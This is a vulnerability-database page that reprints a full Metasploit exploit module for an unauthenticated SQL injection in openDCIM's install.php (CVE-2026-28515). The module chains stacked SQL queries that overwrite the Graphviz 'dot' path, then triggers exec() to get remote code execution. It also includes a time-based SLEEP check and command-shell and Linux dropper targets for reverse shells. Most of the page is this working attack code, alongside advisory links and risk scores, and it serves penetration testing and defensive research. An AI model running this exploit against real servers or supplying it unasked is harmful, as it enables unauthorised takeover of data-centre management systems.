Lucene search
K

openDCIM install.php SQL Injection to RCE

🗓️ 15 Apr 2026 19:02:17Reported by Valentin Lobstein <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 320 Views

This module exploits openDCIM install.php SQL injection to achieve remote code execution via LDAP.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-28515
27 Feb 202622:11
attackerkb
Circl
CVE-2026-28515
28 Feb 202601:30
circl
CNNVD
openDCIM 安全漏洞
27 Feb 202600:00
cnnvd
CVE
CVE-2026-28515
27 Feb 202622:11
cve
Cvelist
CVE-2026-28515 openDCIM <= 23.04 Missing Authorization in install.php
27 Feb 202622:11
cvelist
GithubExploit
Exploit for CVE-2026-28515
27 Feb 202619:37
githubexploit
EUVD
EUVD-2026-9096
28 Feb 202600:31
euvd
NVD
CVE-2026-28515
27 Feb 202623:16
nvd
Positive Technologies
PT-2026-22425
27 Feb 202600:00
ptsecurity
RedhatCVE
CVE-2026-28515
1 Mar 202601:43
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'openDCIM install.php SQL Injection to RCE',
        'Description' => %q{
          This module exploits a SQL injection vulnerability in openDCIM's install.php
          endpoint (CVE-2026-28515) to achieve remote code execution. The install.php
          script remains accessible after installation and processes LDAP configuration
          parameters via UpdateParameter() without authentication or input sanitization,
          allowing stacked SQL queries.

          The exploit chain works by injecting SQL through the LDAP configuration form
          to overwrite the Graphviz dot binary path in fac_Config, then triggering
          report_network_map.php which calls exec() with the poisoned value. A backup
          of the original configuration is created before exploitation and restored
          after payload delivery.

          Tested against openDCIM 23.04 through 25.01 on Ubuntu with Apache.
        },
        'Author' => [
          'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-28515'],
          ['CVE', '2026-28516'],
          ['CVE', '2026-28517'],
          ['URL', 'https://www.vulncheck.com/advisories/opendcim-missing-authorization-in-install-php'],
          ['URL', 'https://www.vulncheck.com/advisories/opendcim-sql-injection-in-config-updateparameter'],
          ['URL', 'https://www.vulncheck.com/advisories/opendcim-os-command-injection-via-dot-configuration-parameter'],
          ['URL', 'https://github.com/Chocapikk/opendcim-exploit']
        ],
        'Targets' => [
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :cmd
              # tested with cmd/unix/reverse_bash
            }
          ],
          [
            'Linux Dropper', {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => ['printf', 'bourne'],
              'Type' => :dropper
              # tested with linux/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2026-02-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to openDCIM', '/'])
    ])
  end

  LDAP_FIELDS = %w[
    LDAPServer LDAPBaseDN LDAPBindDN LDAPSessionExpiration
    LDAPSiteAccess LDAPReadAccess LDAPWriteAccess LDAPDeleteAccess
    LDAPAdminOwnDevices LDAPRackRequest LDAPRackAdmin
    LDAPContactAdmin LDAPSiteAdmin
  ].freeze

  DOT_PARAM = 'dot'.freeze
  SQLI_WRAP = ['" WHERE 1=0; ', ' -- '].freeze

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => install_uri
    })

    return CheckCode::Unknown('Could not connect to the target.') unless res
    return CheckCode::Safe('install.php returned unexpected status code.') unless [200, 302].include?(res.code)

    body = res.body.to_s
    return CheckCode::Safe('install.php does not appear to be openDCIM.') if res.code == 200 && !body.include?('ldapaction') && !body.include?('openDCIM') && !body.include?('Upgrade')

    print_status('install.php is accessible, testing time-based SQL injection')
    3.times do |i|
      sleep_time = rand(1..3)
      print_status("Test #{i + 1}/3: SLEEP(#{sleep_time})")
      _, elapsed_time = Rex::Stopwatch.elapsed_time do
        send_request_cgi({
          'method' => 'POST',
          'uri' => install_uri,
          'vars_post' => { 'ldapaction' => 'Set', LDAP_FIELDS.sample => "#{SQLI_WRAP[0]}SELECT SLEEP(#{sleep_time});#{SQLI_WRAP[1]}" }
        })
      end
      print_status("Elapsed time: #{elapsed_time.round(1)} seconds.")
      return CheckCode::Safe("SQL injection test #{i + 1} did not trigger a delay.") unless elapsed_time >= sleep_time
    end

    CheckCode::Vulnerable('Successfully tested SQL injection (3/3 delay checks passed).')
  end

  def exploit
    @backup_table = Rex::Text.rand_text_alpha(8).downcase

    print_status('Performing LORI attack (LDAP Override Remote Injection)')
    fail_with(Failure::UnexpectedReply, 'Backup failed.') unless backup_config

    case target['Type']
    when :cmd
      fail_with(Failure::UnexpectedReply, 'SQL injection failed.') unless poison_dot("#{payload.encoded} #")
      trigger_exec
    when :dropper
      execute_cmdstager
    end
  ensure
    cleanup_config
  end

  def execute_command(cmd, _opts = {})
    fail_with(Failure::UnexpectedReply, 'SQL injection failed.') unless poison_dot("#{cmd} #")
    trigger_exec
  end

  def trigger_exec
    print_status('Triggering exec() via report_network_map.php')
    trigger_dot
  end

  def cleanup_config
    return unless @backup_table

    print_status('Restoring original configuration')
    restored = restore_config
    print_good('Configuration restored successfully.') if restored
    print_warning('Failed to restore configuration. Manual cleanup may be needed.') unless restored
  end

  def install_uri
    normalize_uri(target_uri.path, 'install.php')
  end

  def inject_sql(field, sql)
    form = { 'ldapaction' => 'Set' }
    LDAP_FIELDS.each { |f| form[f] = '' }
    form[field] = "#{SQLI_WRAP[0]}#{sql}#{SQLI_WRAP[1]}"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => install_uri,
      'vars_post' => form
    })

    res && [200, 302].include?(res.code)
  end

  def backup_config
    inject_sql('LDAPServer',
               "DROP TABLE IF EXISTS #{@backup_table};" \
               " CREATE TABLE #{@backup_table} AS SELECT Parameter, Value FROM fac_Config" \
               " WHERE Parameter LIKE \"LDAP%%\" OR Parameter = \"#{DOT_PARAM}\";")
  end

  def poison_dot(dot_value)
    escaped = dot_value.gsub('\\') { '\\\\' }
    inject_sql('LDAPBaseDN',
               "UPDATE fac_Config SET Value = \"#{escaped}\" WHERE Parameter = \"#{DOT_PARAM}\";")
  end

  def restore_config
    inject_sql('LDAPSiteAdmin',
               "UPDATE fac_Config c INNER JOIN #{@backup_table} b ON c.Parameter = b.Parameter SET c.Value = b.Value;" \
               " DROP TABLE IF EXISTS #{@backup_table};")
  end

  def trigger_dot
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'report_network_map.php'),
      'vars_get' => { 'format' => '0', 'containerid' => '1' }
    })

    res&.body&.strip
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jun 2026 19:07Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.18.8
CVSS 49.3
EPSS0.01157
SSVC
320